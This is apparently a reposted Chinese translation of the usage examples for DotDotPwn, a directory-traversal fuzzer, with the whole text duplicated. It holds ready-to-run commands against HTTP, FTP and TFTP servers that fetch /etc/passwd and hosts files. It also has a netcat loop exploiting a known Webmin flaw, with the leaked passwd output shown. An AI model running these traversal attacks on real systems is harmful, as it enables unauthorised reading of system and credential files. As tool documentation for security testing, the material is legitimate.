[译]dotdotpwn使用
生活随笔
收集整理的這篇文章主要介紹了
[译]dotdotpwn使用
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
原文地址:https://github.com/wireghoul/dotdotpwn/blob/master/EXAMPLES.txt
[b]= HTTP Module[/b]
./dotdotpwn.pl -m http -h 192.168.1.1 -x 8080 -f /etc/hosts -k "localhost" -d 8 -t 200 -s
遍歷引擎將會用8層深度來創建fuzz模式字符串,然后dotdotpwn會每個5秒(-t)來發送一個請求到一個監聽在8080(-x)端口的web服務器(-m),該服務器的IP是192.168.1.1(-h)。除此以外,它將會嘗試獲得/etc/hosts文件來避免過濾,通過查找服務器響應中的localhost關鍵字(-k)來進行額外的檢查,如果找到,那么認為含有漏洞。同時,獲取web服務器的旗標(-s)。dotdotpwn會把結果保存在報告文件夾中的192.168.1.1_<date>_<hour>文件里。
./dotdotpwn.pl -m http -h 192.168.1.1 -O -X -M POST -e .php -E
DotDotPwn會嘗試發現操作系統(-O),一旦發現,遍歷引擎將會根據操作系統來創建fuzz模式。然后所有的http請求將會調整到指定的方法(-M POST)。在每個fuzz請求的結尾,將會追加.php后綴(-e)。-E告訴DotDotPwn尋找定義在TraversaEngine.pm文件中的@Extra_files(默認為config.inc.php和web.config)最后我們開啟Bisection算法(-X)來發現額外的深度漏洞,所以如果發現一個漏洞,這個算法將嘗試使用最小的深度來發現漏洞。
dotdotpwn會把結果保存在報告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= HTTP URL Module[/b]
真實案例[url]http://www.securityfocus.com/bid/18744[/url]
./dotdotpwn.pl -m http-url -u http://192.168.1.1:10000/unauthenticated/TRAVERSAL -O -k "root:" -r webmin.txt
DotDotPwn將會嘗試發現運行在192.168.1.1的操作系統(-O),一旦發現,遍歷引擎將會根據發現的操作系統來創建fuzz模式。然后引擎將會用創建的遍歷模式替換url(-u)中的TRAVERSAL,然后向服務器的10000端口發送請求。最后為了避免過濾,檢查服務器響應的額外關鍵字"root:",如果發現則存在漏洞。如果獲取的文件是/etc/passwd,那么可以基本確定"root:"關鍵字肯定在文件的開頭。
dotdotpwn會把結果保存在報告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= FTP Module[/b]
./dotdotpwn.pl -m ftp -h 192.168.1.1 -s -U nitr0us -P n1tr0u5pwnzj00 -o windows -q -r ftp_server.txt
首先DotDotPwn將會嘗試獲取ftp服務器(-m)的旗標(-s),然后將會如果服務器不支持匿名登錄,那么嘗試使用指定的username(-U)和password(-P)來登錄服務器。
一旦通過認證,它將會獲取Windows系統(-o)中常見文件,并保存在retrieved_files指定的位置。同樣,DotDotPwn不會輸出每次嘗試的詳細細節,相反
它只會輸出每個發現的遍歷模式。
DotDotPwn會把結果保存在報告文件夾中的ftp_server.txt(-r)文件中
[b]= TFTP Module[/b]
./dotdotpwn.pl -m tftp -h 192.168.1.1 -b -t 1 -f windows/system32/drivers/etc/hosts
DotDotPwn會每隔一毫秒發送遍歷模式到192.168.1.1(-h)的TFTP服務器(-m),也就是說盡可能的快速。然后當它發現一個漏洞時立即停止fuzz測試(-b)。
fuzz測試將會針對windows/system32/drivers/etc/hosts(-f)這個文件。
dotdotpwn會把結果保存在報告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= PAYLOAD Module
[/b]
真實案例 [url]http://www.securityfocus.com/bid/18744[/url]
./dotdotpwn.pl -m payload -h 192.168.1.1 -x 10000 -p payload_sample_1.txt -k "root:" -f /etc/passwd
[quote]payload_sample_1.txt (also included in this folder):
GET /unauthenticated/TRAVERSAL HTTP/1.0
[/quote]
遍歷引擎將會用遍歷模式替換payload文件(-p)中的TRAVERSAL,然后發送fuzzpayload到tcp監聽10000端口(-x)的服務器(本例中我們假設它是Webmin)。
它的ip是192.168.1.1(-h)。最后DotDotPwn將會查找服務器響應中的"root:"關鍵字(-k),如果出現,則認為有漏洞。
如果要獲得的文件是/etc/passwd (-f),那么基本可以肯定"root:"關鍵字會出現在文件的開頭。
dotdotpwn會把結果保存在報告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= STDOUT Module[/b]
./dotdotpwn.pl -m stdout -d 5
遍歷引擎將會創建深度為8的fuzz模式,DotDotPwn將會把結果輸出到STDOUT中,所以你可以隨意使用,把遍歷模式作為參數傳遞給其他程序,管道,socket等。
所以,你可以模塊測試一切。包括客戶端軟件,文件格式fuzz,等等等等。
例如在你的腳步中使用STDOUT模塊
-把fuzz模式作為參數傳遞給/bin/file和lynx
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 4 -f /etc/passwd); do file $fuzz_pattern; done
../etc/passwd: cannot open `../etc/passwd' (No such file or directory)
../../etc/passwd: cannot open `../../etc/passwd' (No such file or directory)
../../../etc/passwd: ASCII text
../../../../etc/passwd: ASCII text
..\etc\passwd: cannot open `..\etc\passwd' (No such file or directory)
..\..\etc\passwd: cannot open `..\..\etc\passwd' (No such file or directory)
..\..\..\etc\passwd: cannot open `..\..\..\etc\passwd' (No such file or directory)
... and so on..
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 2 -f /etc/foobar | head -12); do lynx $fuzz_pattern; done
Can't Access `file://localhost/home/nitr0us/etc/foobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..\etc\foobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..\..\etc\foobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%2fetc%2ffoobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%2f..%2fetc%2ffoobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%5cetc%5cfoobar'
Alert!: Unable to access document.
[b]一個使用模塊的真實例子[/b]
[url]http://www.securityfocus.com/bid/18744[/url]
首先把每個fuzz模式傳遞給perl來創建請求,然后通過管道,由netcat接收作為STDIN然后發送給192.168.1.1的10000端口。這樣可以看到Webmin的響應(HTML代碼)
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 5 -f /etc/passwd); do perl -e " print \"GET /unauthenticated/$fuzz_pattern HTTP/1.0\r\n\r\n\";" | nc localhost 10000; done
然后過濾"root:"關鍵字,將會發現是否存在文件夾遍歷漏洞
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 5 -f /etc/passwd); do perl -e " print \"GET /unauthenticated/$fuzz_pattern HTTP/1.0\r\n\r\n\";" | nc localhost 10000; done | grep "root:"
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ VULNERABLE !!!!!!!!!!!!!!!!!!!!!!!!!
[b]= HTTP Module[/b]
./dotdotpwn.pl -m http -h 192.168.1.1 -x 8080 -f /etc/hosts -k "localhost" -d 8 -t 200 -s
遍歷引擎將會用8層深度來創建fuzz模式字符串,然后dotdotpwn會每個5秒(-t)來發送一個請求到一個監聽在8080(-x)端口的web服務器(-m),該服務器的IP是192.168.1.1(-h)。除此以外,它將會嘗試獲得/etc/hosts文件來避免過濾,通過查找服務器響應中的localhost關鍵字(-k)來進行額外的檢查,如果找到,那么認為含有漏洞。同時,獲取web服務器的旗標(-s)。dotdotpwn會把結果保存在報告文件夾中的192.168.1.1_<date>_<hour>文件里。
./dotdotpwn.pl -m http -h 192.168.1.1 -O -X -M POST -e .php -E
DotDotPwn會嘗試發現操作系統(-O),一旦發現,遍歷引擎將會根據操作系統來創建fuzz模式。然后所有的http請求將會調整到指定的方法(-M POST)。在每個fuzz請求的結尾,將會追加.php后綴(-e)。-E告訴DotDotPwn尋找定義在TraversaEngine.pm文件中的@Extra_files(默認為config.inc.php和web.config)最后我們開啟Bisection算法(-X)來發現額外的深度漏洞,所以如果發現一個漏洞,這個算法將嘗試使用最小的深度來發現漏洞。
dotdotpwn會把結果保存在報告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= HTTP URL Module[/b]
真實案例[url]http://www.securityfocus.com/bid/18744[/url]
./dotdotpwn.pl -m http-url -u http://192.168.1.1:10000/unauthenticated/TRAVERSAL -O -k "root:" -r webmin.txt
DotDotPwn將會嘗試發現運行在192.168.1.1的操作系統(-O),一旦發現,遍歷引擎將會根據發現的操作系統來創建fuzz模式。然后引擎將會用創建的遍歷模式替換url(-u)中的TRAVERSAL,然后向服務器的10000端口發送請求。最后為了避免過濾,檢查服務器響應的額外關鍵字"root:",如果發現則存在漏洞。如果獲取的文件是/etc/passwd,那么可以基本確定"root:"關鍵字肯定在文件的開頭。
dotdotpwn會把結果保存在報告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= FTP Module[/b]
./dotdotpwn.pl -m ftp -h 192.168.1.1 -s -U nitr0us -P n1tr0u5pwnzj00 -o windows -q -r ftp_server.txt
首先DotDotPwn將會嘗試獲取ftp服務器(-m)的旗標(-s),然后將會如果服務器不支持匿名登錄,那么嘗試使用指定的username(-U)和password(-P)來登錄服務器。
一旦通過認證,它將會獲取Windows系統(-o)中常見文件,并保存在retrieved_files指定的位置。同樣,DotDotPwn不會輸出每次嘗試的詳細細節,相反
它只會輸出每個發現的遍歷模式。
DotDotPwn會把結果保存在報告文件夾中的ftp_server.txt(-r)文件中
[b]= TFTP Module[/b]
./dotdotpwn.pl -m tftp -h 192.168.1.1 -b -t 1 -f windows/system32/drivers/etc/hosts
DotDotPwn會每隔一毫秒發送遍歷模式到192.168.1.1(-h)的TFTP服務器(-m),也就是說盡可能的快速。然后當它發現一個漏洞時立即停止fuzz測試(-b)。
fuzz測試將會針對windows/system32/drivers/etc/hosts(-f)這個文件。
dotdotpwn會把結果保存在報告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= PAYLOAD Module
[/b]
真實案例 [url]http://www.securityfocus.com/bid/18744[/url]
./dotdotpwn.pl -m payload -h 192.168.1.1 -x 10000 -p payload_sample_1.txt -k "root:" -f /etc/passwd
[quote]payload_sample_1.txt (also included in this folder):
GET /unauthenticated/TRAVERSAL HTTP/1.0
[/quote]
遍歷引擎將會用遍歷模式替換payload文件(-p)中的TRAVERSAL,然后發送fuzzpayload到tcp監聽10000端口(-x)的服務器(本例中我們假設它是Webmin)。
它的ip是192.168.1.1(-h)。最后DotDotPwn將會查找服務器響應中的"root:"關鍵字(-k),如果出現,則認為有漏洞。
如果要獲得的文件是/etc/passwd (-f),那么基本可以肯定"root:"關鍵字會出現在文件的開頭。
dotdotpwn會把結果保存在報告文件夾中的192.168.1.1_<date>_<hour>文件里。
[b]= STDOUT Module[/b]
./dotdotpwn.pl -m stdout -d 5
遍歷引擎將會創建深度為8的fuzz模式,DotDotPwn將會把結果輸出到STDOUT中,所以你可以隨意使用,把遍歷模式作為參數傳遞給其他程序,管道,socket等。
所以,你可以模塊測試一切。包括客戶端軟件,文件格式fuzz,等等等等。
例如在你的腳步中使用STDOUT模塊
-把fuzz模式作為參數傳遞給/bin/file和lynx
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 4 -f /etc/passwd); do file $fuzz_pattern; done
../etc/passwd: cannot open `../etc/passwd' (No such file or directory)
../../etc/passwd: cannot open `../../etc/passwd' (No such file or directory)
../../../etc/passwd: ASCII text
../../../../etc/passwd: ASCII text
..\etc\passwd: cannot open `..\etc\passwd' (No such file or directory)
..\..\etc\passwd: cannot open `..\..\etc\passwd' (No such file or directory)
..\..\..\etc\passwd: cannot open `..\..\..\etc\passwd' (No such file or directory)
... and so on..
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 2 -f /etc/foobar | head -12); do lynx $fuzz_pattern; done
Can't Access `file://localhost/home/nitr0us/etc/foobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..\etc\foobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..\..\etc\foobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%2fetc%2ffoobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%2f..%2fetc%2ffoobar'
Alert!: Unable to access document.
Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%5cetc%5cfoobar'
Alert!: Unable to access document.
[b]一個使用模塊的真實例子[/b]
[url]http://www.securityfocus.com/bid/18744[/url]
首先把每個fuzz模式傳遞給perl來創建請求,然后通過管道,由netcat接收作為STDIN然后發送給192.168.1.1的10000端口。這樣可以看到Webmin的響應(HTML代碼)
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 5 -f /etc/passwd); do perl -e " print \"GET /unauthenticated/$fuzz_pattern HTTP/1.0\r\n\r\n\";" | nc localhost 10000; done
然后過濾"root:"關鍵字,將會發現是否存在文件夾遍歷漏洞
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 5 -f /etc/passwd); do perl -e " print \"GET /unauthenticated/$fuzz_pattern HTTP/1.0\r\n\r\n\";" | nc localhost 10000; done | grep "root:"
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ VULNERABLE !!!!!!!!!!!!!!!!!!!!!!!!!
總結
以上是生活随笔為你收集整理的[译]dotdotpwn使用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: MobaXtem设置鼠标右击复制粘贴
- 下一篇: 【微信小程序】小程序原生代码生成海报